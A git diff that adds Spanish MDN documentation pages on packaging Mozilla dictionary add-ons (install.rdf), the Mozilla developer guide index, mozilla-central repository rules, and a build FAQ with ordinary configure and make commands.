+<p>Los archivos <code>.dic</code> y <code>.aff</code> deben estar ubicados en una subcarpeta llamada <code>dictionaries</code> dentro del archivo ZIP. Ambos archivos deben tener el código de localización como nombre de archivo. También tienes que añadir un archivo llamado <code>install.rdf</code> a la raíz del archivo ZIP. Este archivo contiene información sobre tu complemento, como por ejemplo el nombre y el número de versión (ver a continuación). Además de estos archivos requeridos, puedes añadir archivos opcionales, por ejemplo darle un <a href="/en-US/docs/Install_Manifests#iconURL" title="/en-US/docs/Install_Manifests#iconURL">ícono</a> a tu complemento o describir la licencia del diccionario.</p>
+
+<p>Aquí hay un ejemplo del archivo <code>install.rdf</code>. Puedes crearlo y editarlo con un editor de texto plano como "Bloc de notas".</p>
+
+<p><code>&lt;?xml version="1.0"?&gt;<br>
+ &lt;RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#"<br>
+      xmlns:em="http://www.mozilla.org/2004/em-rdf#"&gt;<br>
+   &lt;Description about="urn:mozilla:install-manifest"&gt;<br>
+     &lt;em:id&gt;<span style="color: #ff0000;"><strong><em>Código-de-localización</em></strong></span>@dictionaries.addons.mozilla.org&lt;/em:id&gt;<br>
+     &lt;em:version&gt;<em><strong><span style="color: #ff0000;">número de versión</span></strong></em>&lt;/em:version&gt;<br>
+     &lt;em:type&gt;64&lt;/em:type&gt;<br>
+     &lt;em:unpack&gt;true&lt;/em:unpack&gt;<br>
+     &lt;em:name&gt;<span style="color: #ff0000;"><em><strong>Nombre</strong></em></span>&lt;/em:name&gt;<br>
+     <em><strong>&lt;!--<br>
+       Otros <a href="/en-US/docs/Install_Manifests" title="/en-US/docs/Install_Manifests">metadatos de install.rdf</a> tales como em:localized, em:description, em:creator,<br>
+       em:developer, em:translator, em:contributor o em:homepageURL<br>
+     --&gt;</strong></em><br>
+ <br>
+     &lt;!-- Firefox --&gt;<br>
+     &lt;em:targetApplication&gt;<br>
+       &lt;Description&gt;<br>
+         &lt;em:id&gt;{ec8030f7-c20a-464f-9b0e-13a3a9e97384}&lt;/em:id&gt;<br>
+         &lt;em:minVersion&gt;18.0a1&lt;/em:minVersion&gt;<br>
+         &lt;em:maxVersion&gt;46.0&lt;/em:maxVersion&gt;<br>
+       &lt;/Description&gt;<br>
+     &lt;/em:targetApplication&gt;<br>
+ <br>
+     &lt;!-- Thunderbird --&gt;<br>
+     &lt;em:targetApplication&gt;<br>
+       &lt;Description&gt;<br>
+         &lt;em:id&gt;{3550f703-e582-4d05-9a08-453d09bdfdc6}&lt;/em:id&gt;<br>
+         &lt;em:minVersion&gt;18.0a1&lt;/em:minVersion&gt;<br>
+         &lt;em:maxVersion&gt;22.0&lt;/em:maxVersion&gt;<br>
+       &lt;/Description&gt;<br>
+     &lt;/em:targetApplication&gt;<br>
+ <br>
+     &lt;!-- SeaMonkey --&gt;<br>
+     &lt;em:targetApplication&gt;<br>
+       &lt;Description&gt;<br>
+         &lt;em:id&gt;{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}&lt;/em:id&gt;<br>
+         &lt;em:minVersion&gt;2.15a1&lt;/em:minVersion&gt;<br>
+         &lt;em:maxVersion&gt;2.49&lt;/em:maxVersion&gt;<br>
+       &lt;/Description&gt;<br>
+     &lt;/em:targetApplication&gt;<br>
+   &lt;/Description&gt;<br>
+ &lt;/RDF&gt;</code></p>
+
+<p>Aquí hay algunas reglas sobre cómo debieras adaptar el archivo <code>install.rdf</code>:</p>
+
+<ul>
+ <li>Si estás creando un nuevo complemento de diccionario, recomendamos que el <code>em:id</code> consista del código de localización seguido por <code>@dictionaries.addons.mozilla.org</code>, pero si hay más de un diccionario para tu idioma (por ejemplo, en Alemán existe los diccionarios "ortografía antigua" y "ortografía nueva"), puede que debas elegir otro ID, que siga las <a href="/en-US/docs/Install_Manifests#id" title="/en-US/docs/Install_Manifests#id">reglas de em:id</a>. Si actualizas un complemento de diccionario existente, debes mantener el <code>em:id</code> existente, o tus usuarios no serán actualizados a la última versión.</li>
+ <li><code>em:version</code> debiera seguir las <a href="/en-US/docs/Toolkit_version_format" title="/en-US/docs/Toolkit_version_format">reglas de números de versión de complemento de Mozilla</a>, y si actualizas un complemento de diccionario existente, el número de la nueva versión debe ser mayor al anterior.</li>
+ <li>No cambies <code>em:type</code> o <code>em:unpack</code>, y no añadas un elemento <code>em:bootstrap</code>. "Type = 64" indica que el complemento está en el formato que no requiere reinicio, y desempacarlo es requerido para que Hunspell lea el diccionario.</li>
+ <li>Pese a que el formato que no requiere reinicio para complementos de diccionario fue introducido en Gecko 10, las actualizaciones de diccionarios solo funcionan desde Gecko 18. Por ello, <code>em:minVersion</code> debiera ser igual al ejemplo anterior (o mayor). Si ajustas <code>em:minVersion</code> a un valor inferior, Gecko 10-17 no podrá actualizar tu complemento de diciconario una vez que el diccionario que no requiere reinicio sea instalado (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=782118">bug 782118</a>), y Gecko 10-16 podrían advertir al usuario de que el diccionario no es compatible, cuando los usuarios intenten actualizar a una nueva versión de Firefox/Thunderbird (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=782115" title="https://bugzilla.mozilla.org/show_bug.cgi?id=782115">bug 782115</a>).</li>
+ <li>Actualiza <code>em:maxVersion</code> a la <a href="https://addons.mozilla.org/es/firefox/pages/appversions/" title="https://addons.mozilla.org/en-us/firefox/pages/appversions/">versión más nueva disponible.</a></li>
+</ul>
+
+<p>Una vez que has añadido estos archivos a tu archivo ZIP, y este último lo has renombrado para que tenga la extensión <code>.xpi</code>, puedes instalar tu complemento en Firefox y problarlo. Luego de una prueba exitosa, puedes subir tu complemento a <a href="https://addons.mozilla.org/" title="https://addons.mozilla.org/">addons.mozilla.org</a> y solicitar que sea incluido en la página de <a href="https://addons.mozilla.org/es/firefox/language-tools/" title="https://addons.mozilla.org/en-US/firefox/language-tools/">Diccionarios y paquetes de idioma</a>.</p>
diff --git a/files/es/mozilla/developer_guide/index.html b/files/es/mozilla/developer_guide/index.html
new file mode 100644
index 0000000000..699953a863
--- /dev/null
+++ b/files/es/mozilla/developer_guide/index.html
@@ -0,0 +1,149 @@
+---
+title: Developer Guide
+slug: Mozilla/Developer_guide
+translation_of: Mozilla/Developer_guide
+---
+<p>Whether you're an old hand or just getting started, articles you can find starting from this page will help you while you're working on Mozilla development.</p>
+<h2 id="First_time">First time?</h2>
+<dl>
+  <dt>
+    <a href="/en-US/docs/Introduction" title="Introduction">Getting Started</a></dt>
+  <dd>
+    A step-by-step beginner's guide to getting involved with Mozilla.</dd>
+</dl>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 class="Documentation" id="Documentation_topics">Documentation topics</h2>
+        <p><a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips">Obsolete Build Caveats and Tips</a></p>
+        <dl>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/Source_Code" title="en-US/docs/Developer_Guide/Source_Code">Working with Mozilla Source Code</a></dt>
+          <dd>
+            A code overview, how to get the code, and the coding style guide.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/Build_Instructions" title="en-US/docs/Developer_Guide/Build_Instructions">Build Instructions</a></dt>
+          <dd>
+            How to build Firefox, Thunderbird, SeaMonkey, or other Mozilla applications.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Development_process_overview" title="en-US/docs/Developer Guide/Development process overview">Development process overview</a></dt>
+          <dd>
+            An overview of the entire Mozilla development process.</dd>
+          <dt>
+            <a href="/en-US/docs/Mozilla/Multiple_Firefox_Profiles" title="en-US/docs/Mozilla/Multiple_Firefox_Profiles">Managing multiple profiles</a></dt>
+          <dd>
+            When working with prerelease versions of Firefox, it's often helpful to have multiple Firefox profiles, such as one for each channel, or for different kinds of testing.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_automated_testing" title="en-US/docs/Mozilla automated testing">Automated Testing</a></dt>
+          <dd>
+            How to run Mozilla's automated tests, and how to write new tests.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Developer_Guide/How_to_Submit_a_Patch" title="en-US/docs/Getting your patch in the tree">How to submit a patch</a></dt>
+          <dd>
+            After getting your patch written, you need to get it checked into the tree. This article explains the review process and how to get your patch approved.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Getting_documentation_updated" title="en-US/docs/Developer_Guide/Getting documentation updated">Getting documentation updated</a></dt>
+          <dd>
+            How to ensure that documentation is kept up to date as you develop.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_Modules_and_Module_Ownership" title="en-US/docs/Mozilla Modules and Module Ownership">Mozilla modules and module ownership</a></dt>
+          <dd>
+            This article provides information about Mozilla's modules, what the role of a module owner is, and how module owners are selected.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Code_snippets" title="en-US/docs/Code_snippets">Code snippets</a></dt>
+          <dd>
+            Useful code samples for a wide variety of things you might need to figure out how to do.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mozilla_Development_Strategies" title="en-US/docs/Mozilla Development Strategies">Mozilla development strategies</a></dt>
+          <dd>
+            Tips for how to make the most of your time working on the Mozilla project.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Debugging" title="en-US/docs/Debugging">Debugging</a></dt>
+          <dd>
+            Find helpful tips and guides for debugging Mozilla code.</dd>
+          <dt>
+            <a href="/en-US/docs/Performance" title="en-US/docs/Performance">Performance</a></dt>
+          <dd>
+            Performance guides and utilities to help you make your code perform well (and to play nicely with others).</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/The_Mozilla_platform" title="en-US/docs/The Mozilla platform">The Mozilla platform</a></dt>
+          <dd>
+            Information about the workings of the Mozilla platform.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object" title="en-US/docs/Developer_Guide/Adding_APIs_to_the_navigator_object">Adding APIs to the navigator object</a> {{ gecko_minversion_inline("9.0") }}</dt>
+          <dd>
+            How to augment the {{ domxref("window.navigator") }} object with additional APIs.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Interface_Compatibility" title="en-US/docs/Developer Guide/Interface Compatibility">Interface Compatibility</a></dt>
+          <dd>
+            Guidelines for modifying scriptable and binary APIs in Mozilla.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Customizing_Firefox" title="en-US/docs/Developer Guide/Customizing Firefox">Customizing Firefox</a></dt>
+          <dd>
+            Information about creating customized versions of Firefox.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Virtual_ARM_Linux_environment" title="Virtual ARM Linux environment">Virtual ARM Linux environment</a></dt>
+          <dd>
+            How to set up an ARM emulator running Linux for testing ARM-specific, but not necessarily platform-specific, code. Useful for mobile developers.</dd>
+          <dt>
+            <a href="/en-US/docs/Introduction/Obsolete_Build_Caveats_and_Tips" title="Obsolete Build Caveats and Tips">Obsolete Build Caveats and Tips</a></dt>
+          <dd>
+            A place to put build tips which are no longer relevant to building the latest version of the code from main but are relevant when building old codebases.</dd>
+        </dl>
+      </td>
+      <td>
+        <h2 class="Tools" id="Tools">Tools</h2>
+        <dl>
+          <dt>
+            <a class="link-https" href="https://bugzilla.mozilla.org/" title="https://bugzilla.mozilla.org/">Bugzilla</a></dt>
+          <dd>
+            The <a class="internal" href="/en-US/docs/Bugzilla" title="en-US/docs/Bugzilla">Bugzilla</a> database used to track issues for Mozilla projects.</dd>
+          <dt>
+            <a class="external" href="http://mxr.mozilla.org/" title="http://mxr.mozilla.org/">MXR</a></dt>
+          <dd>
+            Browse and search the Mozilla source code repository on the Web.</dd>
+          <dt>
+            <a class="external" href="http://bonsai.mozilla.org/cvsqueryform.cgi" title="http://bonsai.mozilla.org/cvsqueryform.cgi">Bonsai</a></dt>
+          <dd>
+            The <a class="internal" href="/en-US/docs/Bonsai" title="en-US/docs/Bonsai">Bonsai</a> tool lets you find out who changed what file in the repository, and when they did it.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Mercurial" title="en-US/docs/Mercurial">Mercurial</a></dt>
+          <dd>
+            The distributed version-control system used to manage Mozilla's source code.</dd>
+          <dt>
+            <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi" title="http://tinderbox.mozilla.org/showbuilds.cgi">Tinderbox</a></dt>
+          <dd>
+            <a class="internal" href="/en-US/docs/Tinderbox" title="en-US/docs/Tinderbox">Tinderbox</a> shows the status of the tree (whether or not it currently builds successfully).  Check this before checking in and out, to be sure you're working with a working tree.</dd>
+          <dt>
+            <a class="internal" href="/en-US/docs/Crash_reporting" title="en-US/docs/Crash reporting">Crash tracking</a></dt>
+          <dd>
+            Information about the <a class="link-https" href="https://crash-reports.mozilla.com/reports" title="https://crash-reports.mozilla.com/reports">Socorro</a> and <a class="external" href="http://talkback-public.mozilla.org/search/start.jsp" title="http://talkback-public.mozilla.org/search/start.jsp">Talkback</a> crash reporting systems.</dd>
+          <dt>
+            <a class="external" href="http://graphs.mozilla.org/" title="http://graphs.mozilla.org/">Performance tracking</a></dt>
+          <dd>
+            See performance information for Mozilla projects.</dd>
+          <dt>
+            <a href="/en-US/docs/Developer_Guide/Callgraph" title="en-US/docs/Developing Mozilla/Callgraph">Callgraph</a></dt>
+          <dd>
+            A tool to help perform static analysis of the Mozilla code by generating callgraphs automatically.</dd>
+          <dt>
+            <a class="external" href="http://www.mozilla.org/community/developer-forums.html" title="http://www.mozilla.org/community/developer-forums.html">Developer forums</a></dt>
+          <dd>
+            A topic-specific list of discussion forums where you can talk about Mozilla development issues.</dd>
+          <dt>
+            <a class="external" href="http://www.brianbondy.com/mozilla/cheatsheet/" title="http://www.brianbondy.com/mozilla/cheatsheet/">Mozilla Platform Development Cheat Sheet</a></dt>
+          <dd>
+            Brian Bondy's list of frequently referenced information for platform developers.</dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+</table>
+<div class="twocolumns">
+  <div class="geckoVersionNote">
+    <div class="syntaxbox">
+       </div>
+  </div>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/developer_guide/mozilla-central/index.html b/files/es/mozilla/developer_guide/mozilla-central/index.html
new file mode 100644
index 0000000000..528266153d
--- /dev/null
+++ b/files/es/mozilla/developer_guide/mozilla-central/index.html
@@ -0,0 +1,50 @@
+---
+title: mozilla-central
+slug: Mozilla/Developer_guide/mozilla-central
+tags:
+  - Desarrollando_Mozilla
+  - Mercurial
+  - Todas_las_Categorías
+translation_of: Mozilla/Developer_guide/mozilla-central
+---
+<p><strong><code>mozilla-central</code></strong> es un repositorio <a href="/es/Mercurial" title="es/Mercurial">Mercurial</a> del código de Mozilla: <a class="external" href="http://hg.mozilla.org/mozilla-central" rel="freelink">http://hg.mozilla.org/mozilla-central</a> . Es un punto de integración estable para cambios que se incorporarán en el código base de Mozilla 2.</p>
+
+<p>La página de <a href="/es/Tinderbox" title="es/Tinderbox">Tinderbox</a> de mozilla-central se encuentra en <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=Mozilla2" rel="freelink">http://tinderbox.mozilla.org/showbui...?tree=Mozilla2</a> .</p>
+
+<p>{{ Note("a diferencia del repositorio CVS de Mozilla, sólo se incluyen en mozilla-central los fuentes de Firefox y XULRunner. Se usarán repositorios separados para el código específico a otras aplicaciones y proyectos.") }}</p>
+
+<h3 id="Reglas_en_el_.C3.A1rbol_mozilla-central" name="Reglas_en_el_.C3.A1rbol_mozilla-central">Reglas en el árbol mozilla-central</h3>
+
+<p>El código base de mozilla-central debería ser estable en todo momento para las <a href="/es/Configuraciones_de_compilación_oficiales" title="es/Configuraciones_de_compilación_oficiales">plataformas de prioridad 1</a>:</p>
+
+<ul>
+ <li>Las pruebas automatizadas unitarias deben pasarse con éxito</li>
+ <li>Las pruebas automatizadas de rendimiento y fugas no deben informar de regresiones</li>
+ <li>Cualquier regresión es causa de retrocesión del parche causante.</li>
+</ul>
+
+<p>Actualmente no están permitidos cambios a las APIs congeladas de XPCOM. Esta regla cambiará una vez se tome una decisión sobre una versión intermedia de la plataforma (Mozilla 1.9.1).</p>
+
+<ul>
+ <li>Los desarrolladores <em>no</em> deberían aplicar cambios de prueba en mozilla-central para comprobar si un parche produce una regresión en las pruebas unitarias o de rendimiento. En su lugar, debe usarse el {{ interwiki('wikimo', 'Build:TryServer', 'servidor de pruebas') }}.</li>
+</ul>
+
+<h3 id="Aplicar_cambios_a_mozilla-central" name="Aplicar_cambios_a_mozilla-central">Aplicar cambios a mozilla-central</h3>
+
+<p>Todos los desarrolladores que tienen acceso para aplicar parches en CVS deberían haber recibido un mensaje de correo electrónico con los detalles de inicio de sesión LDAP para aplicar parches en hg.mozilla.org. Si crees que deberías tener acceso a mozilla-central pero no conoces tus datos de inicio de sesión, <a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;component=Server+Operations:+Account+Requests">cursa un bug</a>. Puedes usar la orden <code>hg push</code> para subir los conjuntos de cambios al servidor.</p>
+
+<ul>
+ <li>Los cambios no deben introducir múltiples ramas principales (heads) en mozilla-central</li>
+ <li>Por favor, intenta mantener el historial ordenado. Es preferible un único commit o unos pocos independientes a muchos conjuntos de cambios de "trabajo en curso" que se acumulen en el historial. Considera el uso de <a href="/es/Colas_de_Mercurial" title="es/Colas_de_Mercurial">colas de Mercurial</a> para gestionar los parches antes de aplicarlos.</li>
+ <li>Como mínimo el juego de cambios final que se suba al servidor debe referenciar el número de bug y el revisor del cambio relevante.</li>
+ <li>Los cambios deben subirse a <code><a class="external" href="ssh://hg.mozilla.org/mozilla-central/" rel="freelink">ssh://hg.mozilla.org/mozilla-central/</a></code>, revisa <a href="/es/Preguntas_Frecuentes_sobre_Mercurial#.C2.BFC.C3.B3mo_incorporo_.28check_in.29_cambios.3F" title="es/Preguntas_Frecuentes_sobre_Mercurial#.C2.BFC.C3.B3mo_incorporo_.28check_in.29_cambios.3F">Preguntas Frecuentes sobre Mercurial#¿Cómo incorporo (check in) cambios?</a> para más detalles sobre cómo configurar tu instalación.</li>
+</ul>
+
+<h3 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h3>
+
+<ul>
+ <li>Mensaje <a class="external" href="http://developer.mozilla.org/devnews/index.php/2008/06/02/mozilla-central-open-for-business/">mozilla-central: open for business</a> en devnews.</li>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/showdependencytree.cgi?id=433384&amp;hide_resolved=1">Seguimiento: cuestiones que dificultan el desarrollo en mozilla-central</a></li>
+</ul>
+
+<p>{{ languages( { "en": "en/Mozilla-central", "ja": "ja/Mozilla-central" } ) }}</p>
diff --git a/files/es/mozilla/developer_guide/preguntas_frecuentes_sobre_la_compilación_de_mozilla/index.html b/files/es/mozilla/developer_guide/preguntas_frecuentes_sobre_la_compilación_de_mozilla/index.html
new file mode 100644
index 0000000000..6e0c380577
--- /dev/null
+++ b/files/es/mozilla/developer_guide/preguntas_frecuentes_sobre_la_compilación_de_mozilla/index.html
@@ -0,0 +1,343 @@
+---
+title: Preguntas frecuentes sobre la compilación de Mozilla
+slug: Mozilla/Developer_guide/Preguntas_frecuentes_sobre_la_compilación_de_Mozilla
+tags:
+  - Documentación_de_compilado
+  - NecesitaRevisiónGramatical
+translation_of: Mozilla/Developer_guide/Mozilla_build_FAQ
+---
+<p>Mira también:</p>
+
+<ul>
+ <li><a href="/es/Debugging_Mozilla_on_Windows_FAQ" title="es/Debugging_Mozilla_on_Windows_FAQ">Debugging Mozilla on Windows FAQ</a>: Consejos para depurar Mozilla en Windows</li>
+</ul>
+
+<h3 id="Preguntas_Generales" name="Preguntas_Generales">Preguntas Generales</h3>
+
+<dl>
+ <dt id="platform">Que plataformas soportan Mozilla?</dt>
+ <dd>Hay varios niveles o grados de "soporte" para Mozilla:
+ <p>Grado-1 son las plataformas en las cuales se centra el desarrollo. Los problemas en estas plataformas son considerados primordiales. También son las plataformas que se muestran en <a class="external" href="http://tinderbox.mozilla.org/showbuilds.cgi?tree=SeaMonkey">SeaMonkey tinderbox page</a>.</p>
+
+ <p>Las Grado-1 son:</p>
+
+ <ul>
+  <li>linux/x86 (gcc)</li>
+  <li>win32/x86 (msvc)</li>
+  <li>OS X (gcc)</li>
+ </ul>
+
+ <p>Grado-2 son las plataformas en las que hay algunos desarrolladores y contribuyentes activos, pero que la mayor parte del desarrollo no se centra en los problemas. Nos referimos a estas plataformas como los Puertos y la mayoría se encuentran en <a class="external" href="http://tinderbox.mozilla.org/SeaMonkey-Ports/">SeaMonkey-Ports tinderbox page</a>.</p>
+
+ <p>Estas son:</p>
+
+ <ul>
+  <li>aix 4.3 (aCC)</li>
+  <li>beos 5.0.3 (gcc)</li>
+  <li>bsdi 4.x (gcc)</li>
+  <li>hpux 10.x,11.x (HP cc)</li>
+  <li>irix 6.x/gcc (gcc/MIPSpro)</li>
+  <li>linux/ppc (gcc)</li>
+  <li>os/2 (gcc)</li>
+  <li>osf1 5.x (Compaq cc)</li>
+  <li>solaris (sparc &amp; x86) 2.6+ (gcc/Forte)</li>
+ </ul>
+
+ <p>Grado-3 son aquellas en las que casi no hay desarrollo activo por la mayor parte de los desarrolladores pero que hay algunas soluciones contribuidas por terceros.</p>
+
+ <p>Las Grado-3 son:</p>
+
+ <ul>
+  <li>freebsd (gcc)</li>
+  <li>linux/alpha (gcc)</li>
+  <li>netbsd (gcc)</li>
+  <li>openvms (?)</li>
+  <li>ps2linux (gcc)</li>
+  <li>qnx 6 (gcc)</li>
+  <li>win32/x86 (gcc)</li>
+ </ul>
+
+ <p>Las demás plataformas "no son soportadas" por Mozilla. En realidad "no soportada" quiere decir que no hay gente trabajando activamente en eso y que no son una prioridad.</p>
+
+ <p>La mayoría de los desarrolladores no tienen acceso a las plataformas que no sean Grado-1; así que cualquier bug reportado en una plataforma que no sea Grado-1,debería poseer bastante información para ayudar al responsable del bug a determinar la causa y brindar una solución apropiada. Si puedes proporcionar un parche y/o verificar que el parche del desarrollador funciona en tu plataforma, puedes ayudar a muchos a verificar y arreglar sus bugs.</p>
+
+ <p> </p>
+ </dd>
+ <dt>Qué tipo de sistema de compilación usa Mozilla?</dt>
+ <dd>Mozilla usa para todas las plataformas una delgada capa de configuración GNU sobre el legado de sistema de makefile recursivo de Netscape. Como la mayoría de los proyectos configure-based, utiliza GNU autoconf para generar el script de configuración. GNU make se utiliza para manejar el proceso de compilado.
+ <p> </p>
+ </dd>
+ <dt>Por qué usa GNU?</dt>
+ <dd>GNU make ha sido exportado a muchos sistemas. Esto hace que exportar Mozilla a esos sistemas sea un poco más fácil. Utilizando las características de make, que son soportadas por el programa nativo make en 10 plataformas diferentes, se logra que el sistema de compilado no sea innecesariamente complicado.
+ <p> </p>
+ </dd>
+ <dt>Funciona otra versión de make?</dt>
+ <dd>No. El makefiles Mozilla utilza características propias de GNU make que, obviamente, sólo funcionan con GNU make.
+ <p> </p>
+ </dd>
+ <dt>Por qué no usa automake?</dt>
+ <dd>Parte del legado de Netscape involucra utilizar el make de GNU. Tiene características para incluir un conjunto de reglas comunes desde un puñado de archivos en cada Makefile que necesite usarlas. También, hoy en día el método de generación de librerías de Mozilla no funciona bien con libtool.
+ <p> </p>
+ </dd>
+ <dt>Qué les sucedió a nmake y al sistema de compilado CodeWarrior?</dt>
+ <dd>Ya no existen. El soporte para nmake se dejó durante la distribución de Mozilla 1.2a. El sistema mac cfm se abandonó con el soporte para OS9 poco después de la liberación de Mozilla 1.3
+ <p> </p>
+ </dd>
+ <dt>Por qué no ant, tmake, scons o <em>inserte su sistema favorito aquí</em>?</dt>
+ <dd>Principalmente porque nadie los utiliza en Mozilla. Cuando Mozilla empezó a ser de código abierto, sólo contenia el legado de Netscape. Autoconf se integró en una rama y se mantuvo en paralelo durante 6 meses antes de convertirse en el sistema standard para unix.
+ <p> </p>
+ </dd>
+ <dt>Si deseo utilizar mi sistema favorito,¿ lo empezarìan a usar en Mozilla?. No quiero perder mi tiempo si no lo van a usar.</dt>
+ <dd>No hay garantías de que cualquier código escrito para Mozilla sea aceptado en árbol por defecto. Todo sistema que se desee utilizar debe demostrar ser mejor que el sistema actual. Velocidad, flexibilidad, portabilidad y la capacidad de que un gran grupo de desarrolladores- que tiene 3 años o más de experiencia- pueda cambiarlo facilmente, son los principales factores que deciden el cambio. Si hablas en serio y vas a realizar mucho trabajo, contacta a <a href="/User:Benjamin_Smedberg" title="User:Benjamin_Smedberg">User:Benjamin Smedberg</a> para discutir los detalles.
+ <p> </p>
+ </dd>
+ <dt>Por qué Mozilla no soporta autoconf 2.5x?</dt>
+ <dd>Simplemente porque autoconf 2.5x no ofrece nada para que los esfuerzos por actualizar valgan la pena. Autoconf 2.5x no es compatible con 2.13 y las restricciones adicionales hechas en las nuevas versiones de autoconf requirirían reescribir gran parte del código- sistema de compilado de Mozilla.
+ <p>Algunas características de 2.13, como la posibilidad de pasar argumentos adicionales para sub-configuración, no están disponibles en 2.5x. Varios han preguntado por estas características en las listas de correos de autoconf y no han obtenido respuestas favorables. No es conveniente reescribir las configuraciones para subprojectos de Mozilla (NSPR &amp; LDPA).</p>
+
+ <p> </p>
+ </dd>
+ <dt>Por qué NSS no usa aurtoconf?</dt>
+ <dd>El projecto NSS también es utilizado fuera de Mozilla, y los miembros del mismo creen que cambiar a autoconf no vale la pena. Mira {{ Bug(52990) }} para más detalles.
+ <p> </p>
+ </dd>
+ <dt>Puedo compilar múltiples proyectos basados en Mozilla desde un único árbol-fuente?</dt>
+ <dd>Sí!, cada projecto debe ser compilado en su propio objdir.
+ <p> </p>
+ </dd>
+ <dt>Qué es un objdir?</dt>
+ <dd>Un objdir se refiere a crear los archivos de salida en un directorio distinto al que se encuentran las fuentes. Es un estándar en la mayoría de los proyectos basados en configuración. Te permite, desde un único árbol-fuente, compilar para múltiples configuraciones, incluyendo varias plataformas si trabajas en un sistema de archivos de red. También elimina la corrupción de tu árbol-fuente, de esta manera sabes que los archivos en el árbol no han sido modificados en el proceso de compilado.
+ <p>Si ejecutas configure manualmente, puedes usar el método estàndar de crear un directorio vacío en cualquier parte de la unidad, y luego entrar a ese directorio y ejecutar path/to/mozilla/configure.</p>
+
+ <pre class="eval">mkdir obj-debug
+cd obj-debug
+../mozilla/configure
+</pre>
+
+ <p>Si usas client.mk, puedes agregar lo siguiente al .mozconfig:</p>
+
+ <pre class="eval">mk_add_options MOZ_OBJDIR=/path/to/objdir
+</pre>
+
+ <p> </p>
+ </dd>
+ <dt>Puedo multi-compilar Mozilla?</dt>
+ <dd>Sí, mira el documento <a class="external" href="http://www.mozilla.org/build/cross-compiling.html">Cross-Compiling Mozilla</a>. No soporta <a class="external" href="http://www.vmlinux.org/joachim/mirror/www.objsw.com/CrossGCC/FAQ-4.html#ss4.9">Canadian Cross-Compiling</a>.
+ <p> </p>
+ </dd>
+ <dt>Cómo puedo compilar sólo ciertos archivos para pruebas, en lugar de compilar todo el árbol, mientras modifico el código?</dt>
+ <dd>Entra en el directorio objdir, luego vè al directorio especifico que deseas compilar (la estructura del objdir coincide con la estructura de los directorios de las fuentes), y tipea "make". Sólo funciona si encuentras un directorio que tenga un Makefile (el equivalente en el árbol fuente tandrá "Makefile.in". Si quieres algo más especifico que eso puedes probar con "make &lt;nombrearchivo&gt;.obj". Mira <a href="/es/Incremental_Build" title="es/Incremental_Build">Incremental Build</a>.
+ <p> </p>
+ </dd>
+ <dt>Funcionan las compilaciones paralelas (make -j) en Mozilla?</dt>
+ <dd>Sí, mira <a class="external" href="http://www.gnu.org/software/make/manual/html_node/Parallel.html">GNU Make Parallel Execution</a> para su uso óptimo.
+ <p>Si obtienes errores de compilación al utilizar aquello (sobre todo cuando usas -j en lugar de -jN), prueba reduciendo el número de paralelismo disminuyendo el valor de N (o, si usaste paralelismo ilimitado, agrega un número pequeño N a -j)</p>
+
+ <p>La compilación en paralelo con -j4 y -j8 parece funcionar.</p>
+
+ <p> </p>
+ </dd>
+ <dt>Cómo fuerzo al sistema de compilación para aceptar cualquier cambio hecho a mi archivo .mozconfig?</dt>
+ <dd>Toca cualquiera de los scripts de configuración en el árbol. No hay dependencia sobre el archivo mozconfig; el archivo puede encontrarse donde sea a tráves de la variable de entorno MOZCONFIG.
+ <p> </p>
+ </dd>
+ <dt>error: file '../../toolkit/locales/en-US/chrome/necko/contents.rdf' doesn't exist at ../../config/make-jars.pl line 418, &lt;STDIN&gt; line 9.</dt>
+ <dd>Estás tratando de compilar Firefox sin seguir las intrucciones sobre cómo <a href="/es/Configurar_las_opciones_de_compilaci%C3%B3n" title="es/Configurar_las_opciones_de_compilación">Configurar las opciones de compilación</a>. En particular, tu mozconfig <strong>debe</strong> contener el mozconfig por defecto de Firefox:
+ <pre class="eval">. $topsrcdir/browser/config/mozconfig
+# add your custom additional options here
+</pre>
+
+ <p> </p>
+ </dd>
+ <dt>Initial cvs checkout fails with the message: <code>cvs {{ mediawiki.external('checkout aborted') }}: *PANIC* administration files missing</code></dt>
+ <dd>No puedes crear un árbol CVS debajo de un directorio llamado "CVS". Es una característica/bug de CVS. CVS espera encontrar cierta administración de archivos debajo del directorio CVS y no funciona si no la encuentra.
+ <p> </p>
+ </dd>
+ <dt>Error: ../coreconf/rules.mk:406: target `c' doesn't match the target pattern</dt>
+ <dd>Necesitas make 3.80 y no otras versiones como 3.81
+ <ul>
+  <li>make 3.80 ya no está disponible en el instlador de Cygwin, así que lo deberás encontrar por ti mismo. Puedes buscarlo en google como make-3.80-1.tar.bz2, también está disponble<a class="external" href="http://cygwin.paracoda.com/release/make/make-3.80-1.tar.bz2">aquí</a>.</li>
+ </ul>
+
+ <p> </p>
+ </dd>
+</dl>
+
